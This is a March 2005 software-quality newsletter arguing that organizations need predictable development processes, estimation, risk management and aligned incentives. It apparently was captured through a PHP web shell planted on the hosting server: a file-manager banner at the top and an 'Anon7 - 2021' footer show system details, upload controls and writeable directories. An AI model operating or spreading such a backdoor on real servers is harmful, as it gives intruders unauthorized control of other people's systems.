KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/srakitin/OLD/newsletter/vol2/no3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/srakitin/OLD/newsletter/vol2/no3/vol2no3.txt
Food for Thought: Is Your Software Development Process Predictable?
An e-newsletter published by Software Quality Consulting, Inc.
March 2005, Vol. 2 No. 3 

To view a web version of this newsletter, click on the following link:
http://www.swqual.com/newsletter/vol2/no3/vol2no3.html.

--------------------------------------------------------------------------------

Welcome to Food for Thought(TM), an e-newsletter from Software Quality 
Consulting (http://www.swqual.com/). I've created free subscriptions for my
valued business contacts. If you find this newsletter informative, I encourage
you to continue reading. Feel free to pass this newsletter along to colleagues
by clicking this Forward Email link. If you�ve received this newsletter from 
a colleague and would like to subscribe, please click this Enter New 
Subscription link (http://www.swqual.com/newsletter/Subscribe.htm). If you don't
wish to receive this newsletter, click the SafeUnSubscribe(TM) link at the 
bottom of this newsletter, and you won�t be bothered again.

Your continued feedback on this newsletter is most welcome. Please send 
your comments and suggestions to [email protected]. 

--------------------------------------------------------------------------------

***In This Issue***

In This Months� Topic, we look at the importance of behaving in a 
predictable way...

Regular features to look for each month are:

-  Monthly Morsels: Hints, tips, techniques and reference info related to this month�s topic 

-   Calendar: Conferences, workshops, and meetings of interest to software engineers, QA engineers and anyone interested in software development 

--------------------------------------------------------------------------------

***Is your software development process predictable?***

We never have time to do it right 
but always seem to have time to do it over and over...

For many companies, their software development process is anything but 
predictable. Unpredictable behavior may have been adequate in the past. 
Today, organizations who fail to learn how to �do it right the first time� 
are sooner or later going to fail.

Software development in the 21st century has changed dramatically. 
Interest in Agile Methods [1], RUP [2] and offshore development [3] has 
created intense pressures to deliver higher quality software, faster and 
with fewer resources. 

- Do more with less

  New software products are highly complex and, as a result, more 
  difficult to develop. Often, economic constraints limit the ability to 
  fully staff projects. This usually means that there are fewer developers 
  and testers. As a result, organizations need effective ways to complete 
  increasingly complex projects.

- Do it faster

  Product development cycles that once took months now take weeks. The 
  result is that development and testing activities have much less time � 
  which means there is often no time to do it over.

- Do it with higher Quality

  Today�s customers are more demanding and more selective. Customers want 
  software products that work reliably. Compressed schedules, understaffed 
  projects, coupled with the need to release high quality products all 
  result in extraordinary pressures on people to get it right the first 
  time. 

GET IT RIGHT THE FIRST TIME!

We need ways to cope with conflicting demands faced on most projects. 
Doing more with less, doing it faster and with higher Quality all mean 
that there often is no time to do it over. 

A Predictable Software Development(TM) process is one way that organizations 
can achieve this. The goal of Predictable Software Development(TM) is simply:
 
Why is it so important to be predictable?

On every software project, we want to know:

- When will the requirements be defined?

- When will coding be done?

- When will testing be done?

- When will the product be released?

These are legitimate questions. Unfortunately, unpredictable organizations 
can�t provide accurate answers. Why? Well, in order to answer these 
questions, we need:

- a clear definition of what �done� means for coding and testing

- a process for writing unambiguous requirements - so developers know what 
  to code and testers know what to test

- a repeatable process for developing software 

- the ability to accurately plan, estimate, and schedule software 
  development and testing activities

- the ability to manage changes to requirements

- commitment to follow the process agreed to for the project 

Predictable behavior is a characteristic that transcends methodology. 
Predictability is just as important for organizations using Agile Methods 
as for organizations using any other method. And yes, the �processes� 
mentioned above can be lightweight.

MOTIVATION 

Unpredictable behavior impacts your business, your customers, and your 
employees:

- Lack of predictability impacts your bottom line

  Unpredictable behavior often results in unplanned bug fix releases. Such 
  releases divert expensive engineering resources away from activities 
  that generate revenue (like adding new features or developing new 
  products) to activities that don�t generate revenue (like bug fix 
  releases). Remember - bug fix releases are not free!

- Lack of predictability negatively impacts customers

  In unpredictable organizations, customers cannot depend on your release 
  schedules. This makes it hard for customers to plan. Further, 
  unpredictable organizations tend to release software with many bugs, 
  adding to customer dissatisfaction.

- Lack of predictability negatively impacts employees

  No one wants to be associated with projects that fail. In unpredictable 
  organizations, failed projects are the norm. And experience has shown 
  that there is a very strong correlation between customer satisfaction 
  and employee satisfaction. 

ACHIEVING A PREDICTABLE SOFTWARE DEVELOPMENT(TM) PROCESS

To become predictable, we need to learn how to balance Quality, Features, 
and Schedule. While tradeoffs are made all the time, we need to understand 
and assess the implications of these tradeoffs. We also need to learn how 
to balance the needs of People, Process, and Product. Tradeoffs here 
affect productivity, customer and employee satisfaction.

Also required is the ability to manage commitments and manage risks. 
Managing commitments (both internal and external) is essential so that we 
can consistently meet or exceed these commitments. 

Many complex software projects are fraught with risks. While some risks 
may be tacitly understood, all too often, risks are not actively managed. 
Effective risk management skills can make the difference between success 
and failure.

SOUND FAMILIAR?

Here are some typical attributes of unpredictable organizations:

- Project schedules are consistently not met

- Customer perception of product quality is low

- Difficult to plan for new product releases and product rollout

- Difficult to allocate resources to future products

- Customer satisfaction is low and probably not being measured regularly

- Employee satisfaction and employee morale is low

- Many unplanned bug fix releases are needed 

I�ve identified several root causes of unpredictable behavior. These 
include:

- Unrealistic schedules

  Unrealistic schedules is a common root cause of unpredictable behavior. 
  It results from: lack of training in estimating and scheduling, allowing 
  other parts of organizations to set unrealistic schedules, not using 
  information from past projects to develop more accurate estimates, etc.

- Poor project management

  Software Project Management is a difficult and unrewarding job. Project 
  managers frequently become scapegoats for failed projects. Good project 
  managers are rare and worth their weight in gold. Without a doubt, one 
  of the most frequent reasons that projects fail is due to poor project 
  management. In many cases, the root cause of this problem is not the 
  project manager, but rather, how Management measures the project 
  manager's performance. If project managers are measured on their ability 
  to get products released, they will do whatever it takes to meet their 
  objectives including cutting features and reducing quality.

- Crisis mentality

  For many organizations, working in �fire fighting� mode is the norm. 
  These organizations move from one crisis to the next. How anything gets 
  done is a real mystery. What we should have learned by now is that 
  working from crisis to crisis is clearly not the most effective way to 
  use your expensive resources.

- Management rewards wrong behaviors

  In many organizations, Management's goals and objectives are not aligned 
  with the individual performance goals and objectives of the staff.

  Example: In organizations where Management complains about poor product 
  quality, you would likely not find mention of the word "quality" in the 
  performance plans for the staff. Rather than encouraging the desired 
  behavior, Management knowingly or unknowingly does the opposite.

  Example: Management inadvertently encourages fire-fighting behavior by 
  rewarding �heroes� who miraculously resolve the crisis-du-jour. In fact, 
  in many instances, these so-called �heroes� often create crises in the 
  first place.

- Lack of measurement

  Many organizations are unable to measure the amount of effort required 
  to develop and test a software release. Some organizations are unable to 
  answer basic questions like: how big is the product (using whatever size 
  metric you want), how long did it take to develop and release it, and 
  how many bugs were found? 

HOW DOES A PREDICTABLE ORGANIZATION BEHAVE?

Here are some attributes of predictable organizations:

- Mastered skills for estimating tasks and building realistic schedules

- Use project retrospectives to refine estimating and scheduling skills

- Rarely in fire fighting mode

- Very few unplanned bug fix releases

- Follow a documented Software Development Process

- Under-commit and over-deliver

- Actively manage risks and commitments

- Measure Quality, Customer and Employee Satisfaction regularly 

MANAGEMENT CAN CHANGE BEHAVIOR

Management controls the resources, determines how resources are allocated 
to projects, and most importantly, determines how people are evaluated and 
measured. What Management often fails to recognize however, is that:

- to change the culture, you need to change the way people behave

- the way people behave is directly related to how people are measured 

This is particularly true for software engineering organizations where 
technical challenge and peer recognition are important. The notion that 
Management can change the culture of an organization by changing the way 
people are measured is not new. It�s been known from many years [5], [6]. 
Unfortunately, in many organizations, Management hasn't recognized taken 
advantage of this fact. 

Here are some specific actions Management can take to help create an 
organization that behaves in a more predictable manner: 

- Measure individual performance based on objectives directly related to 
  overall corporate goals

- Learn to develop accurate, realistic schedules and then meet them!

- Follow a documented software development process

- Hold people accountable

- Proactively manage risk

- Manage internal and external commitments

- Measure what happens 

Management must recognize that they have the ability to change the 
behavior of their organizations. By learning how to do this, Management 
can significantly improve their organization's predictability. 

SUMMARY

As observed by Humphrey:

  �When software projects fail, it�s usually because a manager didn�t 
  insist that the work be done the right way.� [4]

Take-away messages:

- Predictable organizations have a significant competitive advantage over 
  their unpredictable competitors.

- Management must provide leadership to help organizations behave in a 
  more predictable manner.

- Management must understand that they can change how people behave by 
  changing the way people are measured. 

If you are a manager, use this information to help your organization 
become more predictable. 

If you not a manager, I�d suggest forwarding this to managers in your 
organization. Forward Email.

Till next time...

--------------------------------------------------------------------------------

***Monthly Morsels***

Every month in this space you�ll find additional information related to 
this month�s topic. 

- Resources:

  Interested in learning more about Predictable Software Development(TM)?

  - View information about Predictable Software Development(TM) Workshops
    (http://www.swqual.com/training/predictable.html)

  - Register for Predictable Software Development(TM) workshops sponsored by 
    the IEEE Boston Section
    (http://www.ieeeboston.org/edu05s/predictable_sw.htm)

- References:

  [1] Fowler, M., �The New Methodology�, web page
      (http://www.martinfowler.com/articles/newMethodology.html)

  [2] Krutchen, P., �The Rational Unified Process � An Introduction�, 
  Addison-Wesley, 2004.

  [3] Kolawa, A., �Much Ado about Offshoring�, Better Software, Nov-Dec 
  2004.

  [4] Humphrey, W. S., Winning with Software: An Executive Strategy, 
  Addison-Wesley, 2002.

  [5] Weinberg, G. M., The Psychology of Computer Programming: Silver 
  Anniversary Edition, Dorset House, 1998.

  [6] Lister, T. and DeMarco, T., Peopleware: Productive Projects and 
  Teams, 2nd edition, Dorset House, 1999. 

--------------------------------------------------------------------------------

***Calendar***

Every month, you�ll find news here about local and national events that 
are of interest to the software community ...
 
- Boston Quality Conference � BOSCON 2005
  (http://www.asqboston.org/BOSCON/boscon.htm)

- IEEE Boston Section Workshops
  (http://www.ieeeboston.org/)

- Boston SPIN
  (http://www.boston-spin.org/)

- International Conference on Software Quality (14 ICSQ)
  (http://www.asq.org/softwareforum/conferences/14ICSQ/index.html)

- Software Quality Calendar

  There are many organizations that sponsor monthly meetings, workshops, 
  and conferences of interest to software professionals. Find out what�s 
  happening... (http://www.swqual.com/links/upcoming.html)

- Workshops Offered by Software Quality Consulting

  Software Quality Consulting offers workshops in many topics related to 
  software process improvement. Get more info...
  (http://www.swqual.com/seminars/courses.html)

--------------------------------------------------------------------------------

***About SQC***

Software Quality Consulting provides consulting, training, and auditing 
services tailored to meet the specific needs of clients. We help clients 
fine-tune their software development processes and improve the quality of 
their software products. The overall goal is to help clients achieve 
Predictable Software Development(TM) � so that organizations can consistently 
deliver quality software with promised features in the promised timeframe. 

To learn more about how we can help your organization, visit our web site
(http://www.swqual.com/) or send us an email ([email protected]).

--------------------------------------------------------------------------------

I hope this newsletter has been informative and helpful. Your comments and 
feedback are most welcome. Send me your feedback... ([email protected])
Thanks,

Steve Rakitin
[email protected]

Food for Thought and Predictable Software Development are trademarks of Software 
Quality Consulting, Inc. 

Copyright � 2005. Software Quality Consulting, Inc. All rights reserved. Graphic 
design by Sage Studio  

Anon7 - 2021